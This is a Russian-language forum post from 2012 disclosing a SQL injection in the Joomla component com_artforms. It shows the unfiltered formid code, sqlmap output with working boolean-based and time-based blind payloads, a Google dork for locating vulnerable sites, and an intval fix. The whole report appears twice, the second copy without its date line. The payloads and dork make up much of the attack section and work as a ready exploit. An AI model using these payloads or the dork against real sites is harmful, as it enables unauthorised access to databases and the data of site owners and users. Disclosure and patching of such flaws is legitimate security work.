Machine
10.02.2012, 22:55
1) Дата: 9.02.2012
2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/
3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability
4) Автор: Machine
5) Тип: удалённая
6) Опасность: 9
7) Описание: описание смысла уязвимости, пример дырявого кода
$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );
$db =& JFactory::getDBO();
saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );
Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для
проведения SQL иньекции, вводя произвольный SQL код.
Вывод sqlmap:
GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable
GET parameter 'formid' is vulnerable.
При подстановке в formid кавычки, встретил 2 варианта:
1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."
2. Уязвимый запрос никак не влияет на возвращаемую страницу.
Оба варианта можно эксплуатировать.
8) Эксплоит:
Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.
Вывод sqlmap:
---
Place: GET
Parameter: formid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ
---
9) Поиск: пример поиска приложения через поисковые системы
Google dork: inurl:index.php?option=com_artforms
10) Решение: в /components/com_artforms/artforms.php
$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );
поменять на
$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));
=====================
Видео _http://depositfiles.com/files/j5vqht4y9
=====================
Отдельное спасибо z0mbyak'у.
2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/
3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability
4) Автор: Machine
5) Тип: удалённая
6) Опасность: 9
7) Описание: описание смысла уязвимости, пример дырявого кода
$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );
$db =& JFactory::getDBO();
saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );
Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для
проведения SQL иньекции, вводя произвольный SQL код.
Вывод sqlmap:
GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable
GET parameter 'formid' is vulnerable.
При подстановке в formid кавычки, встретил 2 варианта:
1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."
2. Уязвимый запрос никак не влияет на возвращаемую страницу.
Оба варианта можно эксплуатировать.
8) Эксплоит:
Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.
Вывод sqlmap:
---
Place: GET
Parameter: formid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ
---
9) Поиск: пример поиска приложения через поисковые системы
Google dork: inurl:index.php?option=com_artforms
10) Решение: в /components/com_artforms/artforms.php
$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );
поменять на
$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));
=====================
Видео _http://depositfiles.com/files/j5vqht4y9
=====================
Отдельное спасибо z0mbyak'у.